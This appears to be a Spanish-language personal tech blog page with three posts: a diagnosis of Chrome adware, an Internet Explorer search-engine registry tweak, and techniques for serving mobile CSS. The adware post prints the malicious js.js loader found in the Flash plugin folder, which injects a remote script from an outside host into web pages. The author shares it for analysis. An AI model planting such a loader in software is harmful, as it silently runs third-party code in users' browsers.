Adware, el spyware publicitario

Mi amiguita SANDRA PERLAZA en MCDONALDS junto a PITUFINA

Destaca la inocencia con la que estos programas se camuflan…

Hace una semana empecé a notar que en mi PC con CHROME en los sitios donde habían videos de youtube (embebidos) me aparecía una propaganda, le pasé antivirus (avast y el eset online), antispyware (malwarebytes y Spybot Search & Destroy) y traté de desinstalar extersiones sin que esto me produjera un efecto positivo.

Luego me puse de curioso, hasta que me di cuenta que en toda página se insertaba un código en javascript que se encargaba de redireccionar los contenidos de los iframe a las webs de publicidades, claro está tratando de ocupar el frame con una publicidad del tamaño mas adecuado.

Para hallar el problema, utilicé el inspector de la herramienta de desarrolladores webs de CHROME, en MOZILLA se podría usar FIREBUG; creé una página web que tuviera un iframe y luego rastree que archivos externos cargaba, así encontré el nombre de la extensión que se encargaba de descargar el malicioso archivo.  Resulta que esta extensión era “peidmdfccinlepbampikfomemdbbmhgk”, la busqué en el EXPLORADOR DE WINDOWS y gran sorpresa que me llevé al enterarme que la extensión es el plugin de FLASH…

Sucede que en algún momento se bajó un spyware o adware o incluso una de esas famosas barras de herramientas para los navegadores que no sirven para nada (solo para estorbar y robar tamaño a la pantalla) y esta buscó en que carpeta estaba instalado el plugin de flash e insertó un archivo llamado js.js , este archivo es ejecutado por CHROME cada vez que utiliza la extensión, obligando que toda vez que se cargara un contenido flash este fuera reemplazado por el adware.

Simplemente renombré el archivo y asunto solucionado, copio el contenido del archivo para que lo puedan analizar.

function loadScript() {

                if ('https:' == document.location.protocol) { return false; }

                var s = document.createElement('script');

                s.setAttribute("type","text/javascript");

                s.setAttribute("src", "http://imbaty.com/plugin/script.js");

                var head = (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]);

                if (head!=null) {

                head.appendChild(s);

                 }

}

loadScript();

Este archivo se encarga de descargar un archivo más extenso, elaborado y actualizadable de forma centralizada para el programador.

Busquedas en Internet Explorer con Google Colombia

Google

Después que pude poner a GOOGLE como mi motor de búsqueda predeterminado en Internet Explorer, al buscar algún término me dirigía a GOOGLE UK (inglaterra).

En el archivo adjunto encontrarán la clave de regedit que hará esto por ustedes, una vez acepten unir este archivo a su registro tendrán que cerrar y volver a abrir el Internet Explorer.

Descargar

Descargar

 

Fuente: http://palelmvp.wordpress.com/2011/04/11/internet-explorer-9-buscadores-personalizados/

En la fuente encontrarán como hacerlo manualmente o personalizarlo para su país.

Sitios webs para móviles

Los que desarrollamos sitios WEB nos encontramos a menudo con la necesidad de hacer un sitio adaptable tanto para equipos de escritorio (desktop o laptops) y que también pueda usarse en dispositivos móviles como celulares y tablets (Apple Ipad, Motorola Xoom, Samsung Galaxy Tab y otros).  Lastimosamente no siempre usar los estándares brindará el mejor resultado, ya que muchos dispositivos no logran interpretarlos correctamente, de esto me di cuenta esta semana ya que creía que con solo programar WEB SEMÁNTICA era suficiente y al probar mi web en una BLACKBERRY esta la interpretaba no en versión para móviles sino como una página web normal y requería hacer acercamientos (zoom) y desplazamientos para poder leerla.

Pantallazo de la página en el pc

Pantallazo de la página en el pc

Pantallazo de la página en el celular

Pantallazo de la página en el celular

SOLUCIÓN #1, SOLUCIÓN ESTÁNDAR: UN ESTILO VISUAL PARA CADA DISPOSITIVO

Además de programar WEB SEMÁNTICA debemos especificar para que tipo de dispositivo es cada plantilla de estilos, siendo “screen” los estilos especificados para computadores, “handheld” para dispositivos de mano y hay muchos otros dispositivos: http://www.w3.org/TR/CSS2/media.html

<link href='/css/benkos-screen.css' rel='stylesheet' type='text/css' media='screen'>
<link href='/css/benkos-handheld.css' rel='stylesheet' type='text/css' media='handheld'>

Sin embargo esto no funciona siempre, por ejemplo el navegador de la BLACKBERRY se identifica como “screen” y no como “handheld”, y no encontré en Internet una solución, los siguientes puntos explican como sortear el problema.

SOLUCIÓN #2, SOLUCIÓN POPULAR: CREAR UN SITIO PARA CADA TIPO DE DISPOSITIVO

Esto requiere de una página muy básica que permita preguntar o autodetectar que dispositivo usa el visitante y llevarlo a la página específica para este; esto lo vemos cuando navegamos a Google desde un celular y este nos redirige de http://www.google.com a http://m.google.com

SOLUCIÓN #3, MI SOLUCIÓN: FORZAR LA APLICACIÓN DEL ESTILO CORRECTO

Primero que todo, debemos incluir una etiqueta para que la página no aparezca como una miniatura, sino que busque ajustarse en la pantalla actual; en este momento es que programar WEB SEMÁNTICA va a ser importante.

<meta name="viewport" content="width=device-width" />

Al agregar la línea se mejora la apariencia de la página, ya parece un diseño para móviles

Ajuste de página

Ajuste de página

Luego tenemos dos opciones para forzar una plantilla de estilos, la primera es en javascript muy básico el cual puede correr en la mayoría de celulares, pero hace que nuestra página no pase el validador de la W3C:

<script type="text/javascript" >
	var plataforma = navigator.platform;
	var dispositivo = (plataforma == "Win32" || plataforma == "Win64" || plataforma == "MacPPC" || plataforma == "MacIntel" || plataforma == "X11" || plataforma == "Linux i686") ? "screen" : "handheld";
	document.write("<link href='/benkos/css/benkos-" + dispositivo + ".css' rel='stylesheet' type='text/css' media='screen, handheld'></link>");
</script>

La segunda opción es en PHP y funciona de la misma forma que la solución de javascript con la ventaja que nuestra página si pasará el validador de la W3C

<?php
	$plataforma = $_SERVER["HTTP_USER_AGENT"];
	$dispositivo = (strpos($plataforma, 'Windows') || strpos($plataforma, 'Linux') || strpos($plataforma, 'Macintosh')) ? 'screen' : 'handheld';
	echo "<link href='/benkos/css/benkos-$dispositivo.css' rel='stylesheet' type='text/css' media='screen, handheld'></link>\n";
?>
El resultado ya es el esperado y tiene diseño css

El resultado ya es el esperado y tiene diseño css

El resultado ya es el esperado y tiene diseño css

El resultado ya es el esperado y tiene diseño css

El resultado ya es el esperado y tiene diseño css

El resultado ya es el esperado y tiene diseño css

En las dos opciones verán que en media se utilizan los dos tipos de dispositivos para asegurarnos que siempre se muestre el contenido como queremos sin importar como se identifique el celular a si mismos (como la BLACKBERRY). Mientras que para tablets podríamos aplicar la plantilla original ya que se aprovecharía mejor el tamaño de la pantalla:

Pantallazo desde una tablet

Pantallazo desde una tablet

Espero que le sea de ayuda a todos